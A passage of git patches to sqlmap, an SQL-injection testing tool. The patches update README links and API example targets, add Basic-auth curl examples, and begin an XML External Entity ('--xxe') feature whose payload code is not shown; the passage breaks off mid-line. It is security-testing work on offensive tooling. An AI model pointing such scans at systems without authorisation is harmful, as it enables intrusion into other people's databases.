a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md index b311f81afe3..61aaec255f0 100644 --- a/doc/translations/README-in-HI.md +++ b/doc/translations/README-in-HI.md @@ -46,5 +46,6 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** * अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * ट्विटर: [@sqlmap](https://x.com/sqlmap) * डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* अभ्यास स्थल: https://sekumart.sekuripy.hr * स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md index 6b074141b41..66c7e662a3b 100644 --- a/doc/translations/README-it-IT.md +++ b/doc/translations/README-it-IT.md @@ -47,4 +47,5 @@ Link * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo di prova: https://sekumart.sekuripy.hr * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md index d43e3f563e1..e544a9a455a 100644 --- a/doc/translations/README-ja-JP.md +++ b/doc/translations/README-ja-JP.md @@ -48,4 +48,5 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの * よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* プレイグラウンド: https://sekumart.sekuripy.hr * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md index 12b59b31ea4..419a9742545 100644 --- a/doc/translations/README-ka-GE.md +++ b/doc/translations/README-ka-GE.md @@ -46,4 +46,5 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ * ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr * ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md index 2542209833e..ab612d4afe8 100644 --- a/doc/translations/README-ko-KR.md +++ b/doc/translations/README-ko-KR.md @@ -47,4 +47,5 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록 * 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * 트위터: [@sqlmap](https://x.com/sqlmap) * 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 플레이그라운드: https://sekumart.sekuripy.hr * 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-nl-NL.md b/doc/translations/README-nl-NL.md index f114168410d..d04fda2abe2 100644 --- a/doc/translations/README-nl-NL.md +++ b/doc/translations/README-nl-NL.md @@ -47,4 +47,5 @@ Links * Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Speeltuin: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pl-PL.md b/doc/translations/README-pl-PL.md index e7b145e96b8..0644def1b64 100644 --- a/doc/translations/README-pl-PL.md +++ b/doc/translations/README-pl-PL.md @@ -47,4 +47,5 @@ Odnośniki * Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Piaskownica: https://sekumart.sekuripy.hr * Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-pt-BR.md b/doc/translations/README-pt-BR.md index 9f5ebfd9938..462f7497cca 100644 --- a/doc/translations/README-pt-BR.md +++ b/doc/translations/README-pt-BR.md @@ -47,4 +47,5 @@ Links * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos) +* Playground: https://sekumart.sekuripy.hr * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-rs-RS.md b/doc/translations/README-rs-RS.md index e130727feaa..be2a045905b 100644 --- a/doc/translations/README-rs-RS.md +++ b/doc/translations/README-rs-RS.md @@ -47,4 +47,5 @@ Linkovi * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Poligon: https://sekumart.sekuripy.hr * Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ru-RU.md b/doc/translations/README-ru-RU.md index 38147222530..6697515e130 100644 --- a/doc/translations/README-ru-RU.md +++ b/doc/translations/README-ru-RU.md @@ -47,4 +47,5 @@ sqlmap работает из коробки с [Python](https://www.python.org/d * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Песочница: https://sekumart.sekuripy.hr * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md index d673b3e3aa8..d5e29b67c3d 100644 --- a/doc/translations/README-sk-SK.md +++ b/doc/translations/README-sk-SK.md @@ -47,4 +47,5 @@ Linky * Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Cvičisko: https://sekumart.sekuripy.hr * Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 46e5267e9e0..a1c67a7135c 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -50,4 +50,5 @@ Bağlantılar * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Deneme alanı: https://sekumart.sekuripy.hr * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index ab7814676b1..f55c19ffe32 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -47,4 +47,5 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Пісочниця: https://sekumart.sekuripy.hr * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md index ceb2724552d..96d99bee026 100644 --- a/doc/translations/README-vi-VN.md +++ b/doc/translations/README-vi-VN.md @@ -49,4 +49,5 @@ Liên kết * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Sân tập: https://sekumart.sekuripy.hr * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index b065c10a0fa..7157d361fac 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -46,4 +46,5 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* 靶场: https://sekumart.sekuripy.hr * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/lib/core/settings.py b/lib/core/settings.py index 4600eb3d176..15d0f04570f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.21" +VERSION = "1.10.7.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 7b5f39f4389..83060b079c3 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -981,7 +981,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non dbgMsg = "Example client access from command line:" dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) - dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testasp.vulnweb.com/showforum.asp?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) + dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) logger.debug(dbgMsg) @@ -1111,7 +1111,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non elif command in ("help", "?"): msg = "help Show this help message\n" - msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testasp.vulnweb.com/showforum.asp?id=1\"')\n" + msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"https://sekumart.sekuripy.hr/product.php?id=1\"')\n" msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n" msg += "data Retrieve and show data for current task\n" msg += "log Retrieve and show log for current task\n" diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml index 28e273875e3..59214a7ac64 100644 --- a/sqlmapapi.yaml +++ b/sqlmapapi.yaml @@ -216,7 +216,7 @@ paths: value: success: true options: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" batch: true threads: 1 invalidTask: @@ -257,7 +257,7 @@ paths: value: success: true options: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" cookie: "id=1" unknownOption: value: @@ -290,7 +290,7 @@ paths: cookie: "id=1" setTarget: value: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" responses: "200": description: Options set, or an API-level failure envelope. @@ -341,7 +341,7 @@ paths: examples: basicUrlScan: value: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" responses: "200": description: Scan started, or an API-level failure envelope. @@ -568,7 +568,7 @@ paths: description: Target output-directory name. schema: type: string - example: testasp.vulnweb.com + example: sekumart.sekuripy.hr - name: filename in: path required: true @@ -788,7 +788,7 @@ components: additionalProperties: $ref: "#/components/schemas/OptionValue" example: - url: "http://testasp.vulnweb.com/showforum.asp?id=1" + url: "https://sekumart.sekuripy.hr/product.php?id=1" cookie: "id=1" batch: true threads: 1 From 16c8909a0c01e398c3e0ce10b11b44ccdca5d323 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 3 Jul 2026 16:57:46 +0200 Subject: [PATCH 680/853] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/utils/api.py | 9 +++++---- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d51e81eb4bc..1fe9eb1ca30 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f86e98fbcdd8aa71e24dfd610359c1aaaff633e87940b684497d5492c3d468c4 lib/core/settings.py +6f4a6f82360addb01fb9581a67f67df30a2d44606b631bf3e1dc026e46f83e55 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -255,7 +255,7 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py -d72933a3783873a589752e3bf0e2e351874c3d7e4610cf0a956d909fc1aa5a21 lib/utils/api.py +2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py 51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 15d0f04570f..39079dd022d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.22" +VERSION = "1.10.7.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 83060b079c3..1a0794ec1db 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -979,11 +979,12 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non DataStore.username = username DataStore.password = password + auth = ' --user "%s:%s"' % (username, password) if (username or password) else "" # REST API requires HTTP Basic auth dbgMsg = "Example client access from command line:" - dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port) - dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) - dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) - dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) + dbgMsg += "\n\t$ taskid=$(curl -s%s http://%s:%d/task/new | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (auth, host, port) + dbgMsg += "\n\t$ curl%s -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (auth, host, port) + dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/data" % (auth, host, port) + dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/log" % (auth, host, port) logger.debug(dbgMsg) addr = "http://%s:%d" % (host, port) From 5fa2da5eaebc38747a8a748ffd6342b88db59db2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 09:53:04 +0200 Subject: [PATCH 681/853] Adding support for --xxe --- data/txt/sha256sums.txt | 21 +- lib/controller/checks.py | 9 + lib/controller/controller.py | 9 +- lib/core/option.py | 27 +- lib/core/optiondict.py | 3 + lib/core/settings.py | 69 +++- lib/parse/cmdline.py | 11 +- lib/request/dns.py | 54 +++ lib/request/interactsh.py | 171 ++++++++ lib/request/webhooksite.py | 72 ++++ lib/techniques/xxe/__init__.py | 8 + lib/techniques/xxe/inject.py | 699 +++++++++++++++++++++++++++++++++ tests/test_dns_server.py | 40 +- tests/test_xxe.py | 236 +++++++++++ 14 files changed, 1413 insertions(+), 16 deletions(-) create mode 100644 lib/request/interactsh.py create mode 100644 lib/request/webhooksite.py create mode 100644 lib/techniques/xxe/__init__.py create mode 100644 lib/techniques/xxe/inject.py create mode 100644 tests/test_xxe.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1fe9eb1ca30..ed2947c53ff 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,8 +162,8 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 9af5fdfa8b2425d404d86ab08d3644caa95bcf77605551f5da482a59d1e54a22 extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -736715a73941a06e5d3d349dd01a1f1b171f54eb4c374c6752b2cc44b0977ffe lib/controller/checks.py -2086100cd7a78a4e8c12d72bd4f5b414ec6b3f49926e83285494534140e60ce7 lib/controller/controller.py +0d1072ac052b65fca6da9975238b6f8816bc78603631b68ada4c7aea97f060e4 lib/controller/checks.py +00d56cc59757cc3f3073ac20735ac9954ff06242b9433a96bd4186c090094db3 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py @@ -181,15 +181,15 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -47c9828bdfa606a02f07925539d7af55c5eaf1fda61d05ecc40f73d77df036f9 lib/core/optiondict.py -3ac60716cf1c619b80038acb8b213c728cc607e7c5a387911e01635a23fbc92b lib/core/option.py +23852bdfadfb4bd5663302a63bdcc7227c0314fbdea884167d58ca21cda9fb09 lib/core/optiondict.py +0caac9b4af2cc50321a4d8126d92481ad0b092af2075e7efa19bccef529986fb lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6f4a6f82360addb01fb9581a67f67df30a2d44606b631bf3e1dc026e46f83e55 lib/core/settings.py +d974c44979d7699feda3eafeb1baee9618cb6dbe27b144a6d36bec95527c5cee lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -fef119c6f3f2fe6a092112fd832d645c58e4c3c2af0bd97ace4487372c1e3574 lib/parse/cmdline.py +6d2b663807178b4eed0060ed22cde5a94d1b63b7f1ce54e401f709acfd2344c0 lib/parse/cmdline.py 925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -215,17 +215,19 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py +b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dns.py 7344978ac1c52060716b7837c88a62768c6a445eafe189ea3232b8a498fdd038 lib/request/http2.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py +fa51d6c8855049ac18b8c08dfea87df3ce0ebcc094d62322e9f615284bca54af lib/request/interactsh.py ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6 lib/request/redirecthandler.py 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py +58da8988a650c19e080980e545216158ba267065374c6812dabe0b22c1407bd2 lib/request/webhooksite.py 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py @@ -255,6 +257,8 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py +9a74178421ea0d98f7b27062e97eb55a12236deb893c2ef5f26fb6e734001f32 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -609,7 +613,7 @@ fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dia 41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py -ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns_server.py +a9db98cbb4d16c42118fb6f612edd5bfedc77298e38d06d50e7ecc2faaa7fdc1 tests/test_dns_server.py 3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py 118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py @@ -666,6 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py +140aa78a94fb97e364cead82149f5a2c33d576b721f39ae52a6352072d770793 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a7200e3e320..a83a5f2cf27 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -57,6 +57,7 @@ from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import POST_HINT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NOTE @@ -86,6 +87,7 @@ from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import SSTI_ERROR_REGEX from lib.core.settings import XPATH_ERROR_REGEX +from lib.core.settings import XXE_ERROR_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_RATIO from lib.core.settings import IPS_WAF_CHECK_TIMEOUT @@ -1214,6 +1216,13 @@ def _(page): if conf.beep: beep() + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): + infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" + logger.info(infoMsg) + + if conf.beep: + beep() + kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/controller/controller.py b/lib/controller/controller.py index ba27f49aad1..e81daaf4815 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -529,8 +529,8 @@ def start(): checkWaf() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique 